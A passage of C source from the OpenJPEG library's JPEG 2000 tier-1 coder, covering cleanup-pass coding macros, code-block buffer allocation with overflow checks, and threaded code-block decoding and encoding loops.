#ifdef DEBUG_ENC_CLN
printf(" ctxt2=%d\n", ctxt2);
#endif
opj_mqc_setcurctx(mqc, ctxt2);
v = *datap < 0 ? 1U : 0U;
spb = opj_t1_getspb(lu);
#ifdef DEBUG_ENC_CLN
printf(" spb=%d\n", spb);
#endif
opj_mqc_encode(mqc, v ^ spb);
vsc = ((cblksty & J2K_CCP_CBLKSTY_VSC) && (ci == 0)) ? 1 : 0;
opj_t1_update_flags(flagsp, ci, v, t1->w + 2U, vsc);
}
}
*flagsp &= ~(T1_PI_THIS << (3U * ci));
datap += t1->data_stride;
}
}
#define opj_t1_dec_clnpass_step_macro(check_flags, partial, \
flags, flagsp, flags_stride, data, \
data_stride, ci, mqc, curctx, \
v, a, c, ct, oneplushalf, vsc) \
{ \
if ( !check_flags || !(flags & ((T1_SIGMA_THIS | T1_PI_THIS) << (ci * 3U)))) {\
do { \
if( !partial ) { \
OPJ_UINT32 ctxt1 = opj_t1_getctxno_zc(mqc, flags >> (ci * 3U)); \
opj_t1_setcurctx(curctx, ctxt1); \
opj_mqc_decode_macro(v, mqc, curctx, a, c, ct); \
if( !v ) \
break; \
} \
{ \
OPJ_UINT32 lu = opj_t1_getctxtno_sc_or_spb_index( \
flags, flagsp[-1], flagsp[1], \
ci); \
opj_t1_setcurctx(curctx, opj_t1_getctxno_sc(lu)); \
opj_mqc_decode_macro(v, mqc, curctx, a, c, ct); \
v = v ^ opj_t1_getspb(lu); \
data[ci*data_stride] = v ? -oneplushalf : oneplushalf; \
opj_t1_update_flags_macro(flags, flagsp, ci, v, flags_stride, vsc); \
} \
} while(0); \
} \
}
static void opj_t1_dec_clnpass_step(
opj_t1_t *t1,
opj_flag_t *flagsp,
OPJ_INT32 *datap,
OPJ_INT32 oneplushalf,
OPJ_UINT32 ci,
OPJ_UINT32 vsc)
{
OPJ_UINT32 v;
opj_mqc_t *mqc = &(t1->mqc); /* MQC component */
opj_t1_dec_clnpass_step_macro(OPJ_TRUE, OPJ_FALSE,
*flagsp, flagsp, t1->w + 2U, datap,
0, ci, mqc, mqc->curctx,
v, mqc->a, mqc->c, mqc->ct, oneplushalf, vsc);
}
static void opj_t1_enc_clnpass(
opj_t1_t *t1,
OPJ_INT32 bpno,
OPJ_INT32 *nmsedec,
OPJ_UINT32 cblksty)
{
OPJ_UINT32 i, k;
const OPJ_INT32 one = 1 << (bpno + T1_NMSEDEC_FRACBITS);
OPJ_UINT32 agg, runlen;
opj_mqc_t *mqc = &(t1->mqc); /* MQC component */
*nmsedec = 0;
#ifdef DEBUG_ENC_CLN
printf("enc_clnpass: bpno=%d\n", bpno);
#endif
for (k = 0; k < (t1->h & ~3U); k += 4) {
#ifdef DEBUG_ENC_CLN
printf(" k=%d\n", k);
#endif
for (i = 0; i < t1->w; ++i) {
#ifdef DEBUG_ENC_CLN
printf(" i=%d\n", i);
#endif
agg = !(T1_FLAGS(i, k));
#ifdef DEBUG_ENC_CLN
printf(" agg=%d\n", agg);
#endif
if (agg) {
for (runlen = 0; runlen < 4; ++runlen) {
if (opj_int_abs(t1->data[((k + runlen)*t1->data_stride) + i]) & one) {
break;
}
}
opj_mqc_setcurctx(mqc, T1_CTXNO_AGG);
opj_mqc_encode(mqc, runlen != 4);
if (runlen == 4) {
continue;
}
opj_mqc_setcurctx(mqc, T1_CTXNO_UNI);
opj_mqc_encode(mqc, runlen >> 1);
opj_mqc_encode(mqc, runlen & 1);
} else {
runlen = 0;
}
opj_t1_enc_clnpass_step(
t1,
&T1_FLAGS(i, k),
&t1->data[((k + runlen) * t1->data_stride) + i],
bpno,
one,
nmsedec,
agg,
runlen,
4U,
cblksty);
}
}
if (k < t1->h) {
agg = 0;
runlen = 0;
#ifdef DEBUG_ENC_CLN
printf(" k=%d\n", k);
#endif
for (i = 0; i < t1->w; ++i) {
#ifdef DEBUG_ENC_CLN
printf(" i=%d\n", i);
printf(" agg=%d\n", agg);
#endif
opj_t1_enc_clnpass_step(
t1,
&T1_FLAGS(i, k),
&t1->data[((k + runlen) * t1->data_stride) + i],
bpno,
one,
nmsedec,
agg,
runlen,
t1->h - k,
cblksty);
}
}
}
#define opj_t1_dec_clnpass_internal(t1, bpno, vsc, w, h, flags_stride) \
{ \
OPJ_INT32 one, half, oneplushalf; \
OPJ_UINT32 runlen; \
OPJ_UINT32 i, j, k; \
const OPJ_UINT32 l_w = w; \
opj_mqc_t* mqc = &(t1->mqc); \
register OPJ_INT32 *data = t1->data; \
register opj_flag_t *flagsp = &t1->flags[flags_stride + 1]; \
DOWNLOAD_MQC_VARIABLES(mqc, curctx, c, a, ct); \
register OPJ_UINT32 v; \
one = 1 << bpno; \
half = one >> 1; \
oneplushalf = one | half; \
for (k = 0; k < (h & ~3u); k += 4, data += 3*l_w, flagsp += 2) { \
for (i = 0; i < l_w; ++i, ++data, ++flagsp) { \
opj_flag_t flags = *flagsp; \
if (flags == 0) { \
OPJ_UINT32 partial = OPJ_TRUE; \
opj_t1_setcurctx(curctx, T1_CTXNO_AGG); \
opj_mqc_decode_macro(v, mqc, curctx, a, c, ct); \
if (!v) { \
continue; \
} \
opj_t1_setcurctx(curctx, T1_CTXNO_UNI); \
opj_mqc_decode_macro(runlen, mqc, curctx, a, c, ct); \
opj_mqc_decode_macro(v, mqc, curctx, a, c, ct); \
runlen = (runlen << 1) | v; \
switch(runlen) { \
case 0: \
opj_t1_dec_clnpass_step_macro(OPJ_FALSE, OPJ_TRUE,\
flags, flagsp, flags_stride, data, \
l_w, 0, mqc, curctx, \
v, a, c, ct, oneplushalf, vsc); \
partial = OPJ_FALSE; \
/* FALLTHRU */ \
case 1: \
opj_t1_dec_clnpass_step_macro(OPJ_FALSE, partial,\
flags, flagsp, flags_stride, data, \
l_w, 1, mqc, curctx, \
v, a, c, ct, oneplushalf, OPJ_FALSE); \
partial = OPJ_FALSE; \
/* FALLTHRU */ \
case 2: \
opj_t1_dec_clnpass_step_macro(OPJ_FALSE, partial,\
flags, flagsp, flags_stride, data, \
l_w, 2, mqc, curctx, \
v, a, c, ct, oneplushalf, OPJ_FALSE); \
partial = OPJ_FALSE; \
/* FALLTHRU */ \
case 3: \
opj_t1_dec_clnpass_step_macro(OPJ_FALSE, partial,\
flags, flagsp, flags_stride, data, \
l_w, 3, mqc, curctx, \
v, a, c, ct, oneplushalf, OPJ_FALSE); \
break; \
} \
} else { \
opj_t1_dec_clnpass_step_macro(OPJ_TRUE, OPJ_FALSE, \
flags, flagsp, flags_stride, data, \
l_w, 0, mqc, curctx, \
v, a, c, ct, oneplushalf, vsc); \
opj_t1_dec_clnpass_step_macro(OPJ_TRUE, OPJ_FALSE, \
flags, flagsp, flags_stride, data, \
l_w, 1, mqc, curctx, \
v, a, c, ct, oneplushalf, OPJ_FALSE); \
opj_t1_dec_clnpass_step_macro(OPJ_TRUE, OPJ_FALSE, \
flags, flagsp, flags_stride, data, \
l_w, 2, mqc, curctx, \
v, a, c, ct, oneplushalf, OPJ_FALSE); \
opj_t1_dec_clnpass_step_macro(OPJ_TRUE, OPJ_FALSE, \
flags, flagsp, flags_stride, data, \
l_w, 3, mqc, curctx, \
v, a, c, ct, oneplushalf, OPJ_FALSE); \
} \
*flagsp = flags & ~(T1_PI_0 | T1_PI_1 | T1_PI_2 | T1_PI_3); \
} \
} \
UPLOAD_MQC_VARIABLES(mqc, curctx, c, a, ct); \
if( k < h ) { \
for (i = 0; i < l_w; ++i, ++flagsp, ++data) { \
for (j = 0; j < h - k; ++j) { \
opj_t1_dec_clnpass_step(t1, flagsp, data + j * l_w, oneplushalf, j, vsc); \
} \
*flagsp &= ~(T1_PI_0 | T1_PI_1 | T1_PI_2 | T1_PI_3); \
} \
} \
}
static void opj_t1_dec_clnpass_check_segsym(opj_t1_t *t1, OPJ_INT32 cblksty)
{
if (cblksty & J2K_CCP_CBLKSTY_SEGSYM) {
opj_mqc_t* mqc = &(t1->mqc);
OPJ_UINT32 v, v2;
opj_mqc_setcurctx(mqc, T1_CTXNO_UNI);
opj_mqc_decode(v, mqc);
opj_mqc_decode(v2, mqc);
v = (v << 1) | v2;
opj_mqc_decode(v2, mqc);
v = (v << 1) | v2;
opj_mqc_decode(v2, mqc);
v = (v << 1) | v2;
/*
if (v!=0xa) {
opj_event_msg(t1->cinfo, EVT_WARNING, "Bad segmentation symbol %x\n", v);
}
*/
}
}
static void opj_t1_dec_clnpass_64x64_novsc(
opj_t1_t *t1,
OPJ_INT32 bpno)
{
opj_t1_dec_clnpass_internal(t1, bpno, OPJ_FALSE, 64, 64, 66);
}
static void opj_t1_dec_clnpass_64x64_vsc(
opj_t1_t *t1,
OPJ_INT32 bpno)
{
opj_t1_dec_clnpass_internal(t1, bpno, OPJ_TRUE, 64, 64, 66);
}
static void opj_t1_dec_clnpass_generic_novsc(
opj_t1_t *t1,
OPJ_INT32 bpno)
{
opj_t1_dec_clnpass_internal(t1, bpno, OPJ_FALSE, t1->w, t1->h,
t1->w + 2U);
}
static void opj_t1_dec_clnpass_generic_vsc(
opj_t1_t *t1,
OPJ_INT32 bpno)
{
opj_t1_dec_clnpass_internal(t1, bpno, OPJ_TRUE, t1->w, t1->h,
t1->w + 2U);
}
static void opj_t1_dec_clnpass(
opj_t1_t *t1,
OPJ_INT32 bpno,
OPJ_INT32 cblksty)
{
if (t1->w == 64 && t1->h == 64) {
if (cblksty & J2K_CCP_CBLKSTY_VSC) {
opj_t1_dec_clnpass_64x64_vsc(t1, bpno);
} else {
opj_t1_dec_clnpass_64x64_novsc(t1, bpno);
}
} else {
if (cblksty & J2K_CCP_CBLKSTY_VSC) {
opj_t1_dec_clnpass_generic_vsc(t1, bpno);
} else {
opj_t1_dec_clnpass_generic_novsc(t1, bpno);
}
}
opj_t1_dec_clnpass_check_segsym(t1, cblksty);
}
/** mod fixed_quality */
static OPJ_FLOAT64 opj_t1_getwmsedec(
OPJ_INT32 nmsedec,
OPJ_UINT32 compno,
OPJ_UINT32 level,
OPJ_UINT32 orient,
OPJ_INT32 bpno,
OPJ_UINT32 qmfbid,
OPJ_FLOAT64 stepsize,
OPJ_UINT32 numcomps,
const OPJ_FLOAT64 * mct_norms,
OPJ_UINT32 mct_numcomps)
{
OPJ_FLOAT64 w1 = 1, w2, wmsedec;
OPJ_ARG_NOT_USED(numcomps);
if (mct_norms && (compno < mct_numcomps)) {
w1 = mct_norms[compno];
}
if (qmfbid == 1) {
w2 = opj_dwt_getnorm(level, orient);
} else { /* if (qmfbid == 0) */
w2 = opj_dwt_getnorm_real(level, orient);
}
wmsedec = w1 * w2 * stepsize * (1 << bpno);
wmsedec *= wmsedec * nmsedec / 8192.0;
return wmsedec;
}
static OPJ_BOOL opj_t1_allocate_buffers(
opj_t1_t *t1,
OPJ_UINT32 w,
OPJ_UINT32 h)
{
size_t flagssize;
OPJ_UINT32 flags_stride;
/* encoder uses tile buffer, so no need to allocate */
if (!t1->encoder) {
size_t datasize;
#if (SIZE_MAX / 0xFFFFFFFFU) < 0xFFFFFFFFU /* UINT32_MAX */
/* Overflow check */
if ((w > 0U) && ((size_t)h > (SIZE_MAX / (size_t)w))) {
/* FIXME event manager error callback */
return OPJ_FALSE;
}
#endif
datasize = (size_t)w * h;
/* Overflow check */
if (datasize > (SIZE_MAX / sizeof(OPJ_INT32))) {
/* FIXME event manager error callback */
return OPJ_FALSE;
}
if (datasize > (size_t)t1->datasize) {
opj_aligned_free(t1->data);
t1->data = (OPJ_INT32*) opj_aligned_malloc(datasize * sizeof(OPJ_INT32));
if (!t1->data) {
/* FIXME event manager error callback */
return OPJ_FALSE;
}
#if SIZE_MAX > 0xFFFFFFFFU /* UINT32_MAX */
/* TODO remove this if t1->datasize type changes to size_t */
/* Overflow check */
if (datasize > (size_t)0xFFFFFFFFU /* UINT32_MAX */) {
/* FIXME event manager error callback */
return OPJ_FALSE;
}
#endif
t1->datasize = (OPJ_UINT32)datasize;
}
/* memset first arg is declared to never be null by gcc */
if (t1->data != NULL) {
memset(t1->data, 0, datasize * sizeof(OPJ_INT32));
}
}
/* Overflow check */
if (w > (0xFFFFFFFFU /* UINT32_MAX */ - 2U)) {
/* FIXME event manager error callback */
return OPJ_FALSE;
}
flags_stride = w + 2U; /* can't be 0U */
#if (SIZE_MAX - 3U) < 0xFFFFFFFFU /* UINT32_MAX */
/* Overflow check */
if (h > (0xFFFFFFFFU /* UINT32_MAX */ - 3U)) {
/* FIXME event manager error callback */
return OPJ_FALSE;
}
#endif
flagssize = (h + 3U) / 4U + 2U;
/* Overflow check */
if (flagssize > (SIZE_MAX / (size_t)flags_stride)) {
/* FIXME event manager error callback */
return OPJ_FALSE;
}
flagssize *= (size_t)flags_stride;
{
/* BIG FAT XXX */
opj_flag_t* p;
OPJ_UINT32 x;
OPJ_UINT32 flags_height = (h + 3U) / 4U;
if (flagssize > (size_t)t1->flagssize) {
/* Overflow check */
if (flagssize > (SIZE_MAX / sizeof(opj_flag_t))) {
/* FIXME event manager error callback */
return OPJ_FALSE;
}
opj_aligned_free(t1->flags);
t1->flags = (opj_flag_t*) opj_aligned_malloc(flagssize * sizeof(
opj_flag_t));
if (!t1->flags) {
/* FIXME event manager error callback */
return OPJ_FALSE;
}
#if SIZE_MAX > 0xFFFFFFFFU /* UINT32_MAX */
/* TODO remove this if t1->flagssize type changes to size_t */
/* Overflow check */
if (flagssize > (size_t)0xFFFFFFFFU /* UINT32_MAX */) {
/* FIXME event manager error callback */
return OPJ_FALSE;
}
#endif
}
t1->flagssize = (OPJ_UINT32)flagssize;
memset(t1->flags, 0, flagssize * sizeof(opj_flag_t));
p = &t1->flags[0];
for (x = 0; x < flags_stride; ++x) {
/* magic value to hopefully stop any passes being interested in this entry */
*p++ = (T1_PI_0 | T1_PI_1 | T1_PI_2 | T1_PI_3);
}
p = &t1->flags[((flags_height + 1) * flags_stride)];
for (x = 0; x < flags_stride; ++x) {
/* magic value to hopefully stop any passes being interested in this entry */
*p++ = (T1_PI_0 | T1_PI_1 | T1_PI_2 | T1_PI_3);
}
if (h % 4) {
OPJ_UINT32 v = 0;
p = &t1->flags[((flags_height) * flags_stride)];
if (h % 4 == 1) {
v |= T1_PI_1 | T1_PI_2 | T1_PI_3;
} else if (h % 4 == 2) {
v |= T1_PI_2 | T1_PI_3;
} else if (h % 4 == 3) {
v |= T1_PI_3;
}
for (x = 0; x < flags_stride; ++x) {
*p++ = v;
}
}
}
t1->w = w;
t1->h = h;
return OPJ_TRUE;
}
/* ----------------------------------------------------------------------- */
/* ----------------------------------------------------------------------- */
/**
* Creates a new Tier 1 handle
* and initializes the look-up tables of the Tier-1 coder/decoder
* @return a new T1 handle if successful, returns NULL otherwise
*/
opj_t1_t* opj_t1_create(OPJ_BOOL isEncoder)
{
opj_t1_t *l_t1 = 00;
l_t1 = (opj_t1_t*) opj_calloc(1, sizeof(opj_t1_t));
if (!l_t1) {
return 00;
}
l_t1->encoder = isEncoder;
return l_t1;
}
/**
* Destroys a previously created T1 handle
*
* @param p_t1 Tier 1 handle to destroy
*/
void opj_t1_destroy(opj_t1_t *p_t1)
{
if (! p_t1) {
return;
}
/* encoder uses tile buffer, so no need to free */
if (!p_t1->encoder && p_t1->data) {
opj_aligned_free(p_t1->data);
p_t1->data = 00;
}
if (p_t1->flags) {
opj_aligned_free(p_t1->flags);
p_t1->flags = 00;
}
opj_free(p_t1->cblkdatabuffer);
opj_free(p_t1);
}
typedef struct {
OPJ_UINT32 resno;
opj_tcd_cblk_dec_t* cblk;
opj_tcd_band_t* band;
opj_tcd_tilecomp_t* tilec;
opj_tccp_t* tccp;
OPJ_BOOL mustuse_cblkdatabuffer;
volatile OPJ_BOOL* pret;
opj_event_mgr_t *p_manager;
opj_mutex_t* p_manager_mutex;
OPJ_BOOL check_pterm;
} opj_t1_cblk_decode_processing_job_t;
static void opj_t1_destroy_wrapper(void* t1)
{
opj_t1_destroy((opj_t1_t*) t1);
}
static void opj_t1_clbl_decode_processor(void* user_data, opj_tls_t* tls)
{
opj_tcd_cblk_dec_t* cblk;
opj_tcd_band_t* band;
opj_tcd_tilecomp_t* tilec;
opj_tccp_t* tccp;
OPJ_INT32* OPJ_RESTRICT datap;
OPJ_UINT32 cblk_w, cblk_h;
OPJ_INT32 x, y;
OPJ_UINT32 i, j;
opj_t1_cblk_decode_processing_job_t* job;
opj_t1_t* t1;
OPJ_UINT32 resno;
OPJ_UINT32 tile_w;
job = (opj_t1_cblk_decode_processing_job_t*) user_data;
resno = job->resno;
cblk = job->cblk;
band = job->band;
tilec = job->tilec;
tccp = job->tccp;
tile_w = (OPJ_UINT32)(tilec->x1 - tilec->x0);
if (!*(job->pret)) {
opj_free(job);
return;
}
t1 = (opj_t1_t*) opj_tls_get(tls, OPJ_TLS_KEY_T1);
if (t1 == NULL) {
t1 = opj_t1_create(OPJ_FALSE);
opj_tls_set(tls, OPJ_TLS_KEY_T1, t1, opj_t1_destroy_wrapper);
}
t1->mustuse_cblkdatabuffer = job->mustuse_cblkdatabuffer;
if (OPJ_FALSE == opj_t1_decode_cblk(
t1,
cblk,
band->bandno,
(OPJ_UINT32)tccp->roishift,
tccp->cblksty,
job->p_manager,
job->p_manager_mutex,
job->check_pterm)) {
*(job->pret) = OPJ_FALSE;
opj_free(job);
return;
}
x = cblk->x0 - band->x0;
y = cblk->y0 - band->y0;
if (band->bandno & 1) {
opj_tcd_resolution_t* pres = &tilec->resolutions[resno - 1];
x += pres->x1 - pres->x0;
}
if (band->bandno & 2) {
opj_tcd_resolution_t* pres = &tilec->resolutions[resno - 1];
y += pres->y1 - pres->y0;
}
datap = t1->data;
cblk_w = t1->w;
cblk_h = t1->h;
if (tccp->roishift) {
if (tccp->roishift >= 31) {
for (j = 0; j < cblk_h; ++j) {
for (i = 0; i < cblk_w; ++i) {
datap[(j * cblk_w) + i] = 0;
}
}
} else {
OPJ_INT32 thresh = 1 << tccp->roishift;
for (j = 0; j < cblk_h; ++j) {
for (i = 0; i < cblk_w; ++i) {
OPJ_INT32 val = datap[(j * cblk_w) + i];
OPJ_INT32 mag = abs(val);
if (mag >= thresh) {
mag >>= tccp->roishift;
datap[(j * cblk_w) + i] = val < 0 ? -mag : mag;
}
}
}
}
}
if (tccp->qmfbid == 1) {
OPJ_INT32* OPJ_RESTRICT tiledp = &tilec->data[(OPJ_UINT32)y * tile_w +
(OPJ_UINT32)x];
for (j = 0; j < cblk_h; ++j) {
i = 0;
for (; i < (cblk_w & ~(OPJ_UINT32)3U); i += 4U) {
OPJ_INT32 tmp0 = datap[(j * cblk_w) + i + 0U];
OPJ_INT32 tmp1 = datap[(j * cblk_w) + i + 1U];
OPJ_INT32 tmp2 = datap[(j * cblk_w) + i + 2U];
OPJ_INT32 tmp3 = datap[(j * cblk_w) + i + 3U];
((OPJ_INT32*)tiledp)[(j * tile_w) + i + 0U] = tmp0 / 2;
((OPJ_INT32*)tiledp)[(j * tile_w) + i + 1U] = tmp1 / 2;
((OPJ_INT32*)tiledp)[(j * tile_w) + i + 2U] = tmp2 / 2;
((OPJ_INT32*)tiledp)[(j * tile_w) + i + 3U] = tmp3 / 2;
}
for (; i < cblk_w; ++i) {
OPJ_INT32 tmp = datap[(j * cblk_w) + i];
((OPJ_INT32*)tiledp)[(j * tile_w) + i] = tmp / 2;
}
}
} else { /* if (tccp->qmfbid == 0) */
OPJ_FLOAT32* OPJ_RESTRICT tiledp = (OPJ_FLOAT32*) &tilec->data[(OPJ_UINT32)y *
tile_w + (OPJ_UINT32)x];
for (j = 0; j < cblk_h; ++j) {
OPJ_FLOAT32* OPJ_RESTRICT tiledp2 = tiledp;
for (i = 0; i < cblk_w; ++i) {
OPJ_FLOAT32 tmp = (OPJ_FLOAT32) * datap * band->stepsize;
*tiledp2 = tmp;
datap++;
tiledp2++;
}
tiledp += tile_w;
}
}
opj_free(job);
}
void opj_t1_decode_cblks(opj_thread_pool_t* tp,
volatile OPJ_BOOL* pret,
opj_tcd_tilecomp_t* tilec,
opj_tccp_t* tccp,
opj_event_mgr_t *p_manager,
opj_mutex_t* p_manager_mutex,
OPJ_BOOL check_pterm
)
{
OPJ_UINT32 resno, bandno, precno, cblkno;
for (resno = 0; resno < tilec->minimum_num_resolutions; ++resno) {
opj_tcd_resolution_t* res = &tilec->resolutions[resno];
for (bandno = 0; bandno < res->numbands; ++bandno) {
opj_tcd_band_t* OPJ_RESTRICT band = &res->bands[bandno];
for (precno = 0; precno < res->pw * res->ph; ++precno) {
opj_tcd_precinct_t* precinct = &band->precincts[precno];
for (cblkno = 0; cblkno < precinct->cw * precinct->ch; ++cblkno) {
opj_tcd_cblk_dec_t* cblk = &precinct->cblks.dec[cblkno];
opj_t1_cblk_decode_processing_job_t* job;
job = (opj_t1_cblk_decode_processing_job_t*) opj_calloc(1,
sizeof(opj_t1_cblk_decode_processing_job_t));
if (!job) {
*pret = OPJ_FALSE;
return;
}
job->resno = resno;
job->cblk = cblk;
job->band = band;
job->tilec = tilec;
job->tccp = tccp;
job->pret = pret;
job->p_manager_mutex = p_manager_mutex;
job->p_manager = p_manager;
job->check_pterm = check_pterm;
job->mustuse_cblkdatabuffer = opj_thread_pool_get_thread_count(tp) > 1;
opj_thread_pool_submit_job(tp, opj_t1_clbl_decode_processor, job);
if (!(*pret)) {
return;
}
} /* cblkno */
} /* precno */
} /* bandno */
} /* resno */
return;
}
static OPJ_BOOL opj_t1_decode_cblk(opj_t1_t *t1,
opj_tcd_cblk_dec_t* cblk,
OPJ_UINT32 orient,
OPJ_UINT32 roishift,
OPJ_UINT32 cblksty,
opj_event_mgr_t *p_manager,
opj_mutex_t* p_manager_mutex,
OPJ_BOOL check_pterm)
{
opj_mqc_t *mqc = &(t1->mqc); /* MQC component */
OPJ_INT32 bpno_plus_one;
OPJ_UINT32 passtype;
OPJ_UINT32 segno, passno;
OPJ_BYTE* cblkdata = NULL;
OPJ_UINT32 cblkdataindex = 0;
OPJ_BYTE type = T1_TYPE_MQ; /* BYPASS mode */
mqc->lut_ctxno_zc_orient = lut_ctxno_zc + (orient << 9);
if (!opj_t1_allocate_buffers(
t1,
(OPJ_UINT32)(cblk->x1 - cblk->x0),
(OPJ_UINT32)(cblk->y1 - cblk->y0))) {
return OPJ_FALSE;
}
bpno_plus_one = (OPJ_INT32)(roishift + cblk->numbps);
if (bpno_plus_one >= 31) {
if (p_manager_mutex) {
opj_mutex_lock(p_manager_mutex);
}
opj_event_msg(p_manager, EVT_WARNING,
"opj_t1_decode_cblk(): unsupported bpno_plus_one = %d >= 31\n",
bpno_plus_one);
if (p_manager_mutex) {
opj_mutex_unlock(p_manager_mutex);
}
return OPJ_FALSE;
}
passtype = 2;
opj_mqc_resetstates(mqc);
opj_mqc_setstate(mqc, T1_CTXNO_UNI, 0, 46);
opj_mqc_setstate(mqc, T1_CTXNO_AGG, 0, 3);
opj_mqc_setstate(mqc, T1_CTXNO_ZC, 0, 4);
/* Even if we have a single chunk, in multi-threaded decoding */
/* the insertion of our synthetic marker might potentially override */
/* valid codestream of other codeblocks decoded in parallel. */
if (cblk->numchunks > 1 || t1->mustuse_cblkdatabuffer) {
OPJ_UINT32 i;
OPJ_UINT32 cblk_len;
/* Compute whole codeblock length from chunk lengths */
cblk_len = 0;
for (i = 0; i < cblk->numchunks; i++) {
cblk_len += cblk->chunks[i].len;
}
/* Allocate temporary memory if needed */
if (cblk_len + OPJ_COMMON_CBLK_DATA_EXTRA > t1->cblkdatabuffersize) {
cblkdata = (OPJ_BYTE*)opj_realloc(t1->cblkdatabuffer,
cblk_len + OPJ_COMMON_CBLK_DATA_EXTRA);
if (cblkdata == NULL) {
return OPJ_FALSE;
}
t1->cblkdatabuffer = cblkdata;
memset(t1->cblkdatabuffer + cblk_len, 0, OPJ_COMMON_CBLK_DATA_EXTRA);
t1->cblkdatabuffersize = cblk_len + OPJ_COMMON_CBLK_DATA_EXTRA;
}
/* Concatenate all chunks */
cblkdata = t1->cblkdatabuffer;
cblk_len = 0;
for (i = 0; i < cblk->numchunks; i++) {
memcpy(cblkdata + cblk_len, cblk->chunks[i].data, cblk->chunks[i].len);
cblk_len += cblk->chunks[i].len;
}
} else if (cblk->numchunks == 1) {
cblkdata = cblk->chunks[0].data;
}
for (segno = 0; segno < cblk->real_num_segs; ++segno) {
opj_tcd_seg_t *seg = &cblk->segs[segno];
/* BYPASS mode */
type = ((bpno_plus_one <= ((OPJ_INT32)(cblk->numbps)) - 4) && (passtype < 2) &&
(cblksty & J2K_CCP_CBLKSTY_LAZY)) ? T1_TYPE_RAW : T1_TYPE_MQ;
if (type == T1_TYPE_RAW) {
opj_mqc_raw_init_dec(mqc, cblkdata + cblkdataindex, seg->len,
OPJ_COMMON_CBLK_DATA_EXTRA);
} else {
opj_mqc_init_dec(mqc, cblkdata + cblkdataindex, seg->len,
OPJ_COMMON_CBLK_DATA_EXTRA);
}
cblkdataindex += seg->len;
for (passno = 0; (passno < seg->real_num_passes) &&
(bpno_plus_one >= 1); ++passno) {
switch (passtype) {
case 0:
if (type == T1_TYPE_RAW) {
opj_t1_dec_sigpass_raw(t1, bpno_plus_one, (OPJ_INT32)cblksty);
} else {
opj_t1_dec_sigpass_mqc(t1, bpno_plus_one, (OPJ_INT32)cblksty);
}
break;
case 1:
if (type == T1_TYPE_RAW) {
opj_t1_dec_refpass_raw(t1, bpno_plus_one);
} else {
opj_t1_dec_refpass_mqc(t1, bpno_plus_one);
}
break;
case 2:
opj_t1_dec_clnpass(t1, bpno_plus_one, (OPJ_INT32)cblksty);
break;
}
if ((cblksty & J2K_CCP_CBLKSTY_RESET) && type == T1_TYPE_MQ) {
opj_mqc_resetstates(mqc);
opj_mqc_setstate(mqc, T1_CTXNO_UNI, 0, 46);
opj_mqc_setstate(mqc, T1_CTXNO_AGG, 0, 3);
opj_mqc_setstate(mqc, T1_CTXNO_ZC, 0, 4);
}
if (++passtype == 3) {
passtype = 0;
bpno_plus_one--;
}
}
opq_mqc_finish_dec(mqc);
}
if (check_pterm) {
if (mqc->bp + 2 < mqc->end) {
if (p_manager_mutex) {
opj_mutex_lock(p_manager_mutex);
}
opj_event_msg(p_manager, EVT_WARNING,
"PTERM check failure: %d remaining bytes in code block (%d used / %d)\n",
(int)(mqc->end - mqc->bp) - 2,
(int)(mqc->bp - mqc->start),
(int)(mqc->end - mqc->start));
if (p_manager_mutex) {
opj_mutex_unlock(p_manager_mutex);
}
} else if (mqc->end_of_byte_stream_counter > 2) {
if (p_manager_mutex) {
opj_mutex_lock(p_manager_mutex);
}
opj_event_msg(p_manager, EVT_WARNING,
"PTERM check failure: %d synthetized 0xFF markers read\n",
mqc->end_of_byte_stream_counter);
if (p_manager_mutex) {
opj_mutex_unlock(p_manager_mutex);
}
}
}
return OPJ_TRUE;
}
OPJ_BOOL opj_t1_encode_cblks(opj_t1_t *t1,
opj_tcd_tile_t *tile,
opj_tcp_t *tcp,
const OPJ_FLOAT64 * mct_norms,
OPJ_UINT32 mct_numcomps
)
{
OPJ_UINT32 compno, resno, bandno, precno, cblkno;
tile->distotile = 0; /* fixed_quality */
for (compno = 0; compno < tile->numcomps; ++compno) {
opj_tcd_tilecomp_t* tilec = &tile->comps[compno];
opj_tccp_t* tccp = &tcp->tccps[compno];
OPJ_UINT32 tile_w = (OPJ_UINT32)(tilec->x1 - tilec->x0);
for (resno = 0; resno < tilec->numresolutions; ++resno) {
opj_tcd_resolution_t *res = &tilec->resolutions[resno];
for (bandno = 0; bandno < res->numbands; ++bandno) {
opj_tcd_band_t* OPJ_RESTRICT band = &res->bands[bandno];
OPJ_INT32 bandconst;
/* Skip empty bands */
if (opj_tcd_is_band_empty(band)) {
continue;
}
bandconst = 8192 * 8192 / ((OPJ_INT32) floor(band->stepsize * 8192));
for (precno = 0; precno < res->pw * res->ph; ++precno) {
opj_tcd_precinct_t *prc = &band->precincts[precno];
for (cblkno = 0; cblkno < prc->cw * prc->ch; ++cblkno) {
opj_tcd_cblk_enc_t* cblk = &prc->cblks.enc[cblkno];
OPJ_INT32* OPJ_RESTRICT tiledp;
OPJ_UINT32 cblk_w;
OPJ_UINT32 cblk_h;
OPJ_UINT32 i, j, tileIndex = 0, tileLineAdvance;
OPJ_INT32 x = cblk->x0 - band->x0;
OPJ_INT32 y = cblk->y0 - band->y0;
if (band->bandno & 1) {
opj_tcd_resolution_t *pres = &tilec->resolutions[resno - 1];
x += pres->x1 - pres->x0;
}
if (band->bandno & 2) {
opj_tcd_resolution_t *pres = &tilec->resolutions[resno - 1];
y += pres->y1 - pres->y0;
}
if (!opj_t1_allocate_buffers(
t1,
(OPJ_UINT32)(cblk->x1 - cblk->x0),
(OPJ_UINT32)(cblk->y1 - cblk->y0))) {
return OPJ_FALSE;
}
cblk_w = t1->w;
cblk_h = t1->h;
tileLineAdvance = tile_w - cblk_w;
tiledp = &tilec->data[(OPJ_UINT32)y * tile_w + (OPJ_UINT32)x];
t1->data = tiledp;
t1->data_stride = tile_w;
if (tccp->qmfbid == 1) {
for (j = 0; j < cblk_h; ++j) {
for (i = 0; i < cblk_w; ++i) {
tiledp[tileIndex] *= (1 << T1_NMSEDEC_FRACBITS);
tileIndex++;
}
tileIndex += tileLineAdvance;
}
} else { /* if (tccp->qmfbid == 0) */
for (j = 0; j < cblk_h; ++j) {
for (i = 0; i < cblk_w; ++i) {
OPJ_INT32 tmp = tiledp[tileIndex];
tiledp[tileIndex] =
opj_int_fix_mul_t1(
tmp,
bandconst);
tileIndex++;
}
tileIndex += tileLineAdvance;
}
}
opj_t1_encode_cblk(
t1,
cblk,
band->bandno,
compno,
tilec->numresolutions - 1 - resno,
tccp->qmfbid,
band->stepsize,
tccp->cblksty,
tile->numcomps,
tile,
mct_norms,
mct_numcomps);
} /* cblkno */
} /* precno */
} /* bandno */
} /* resno */
} /* compno */
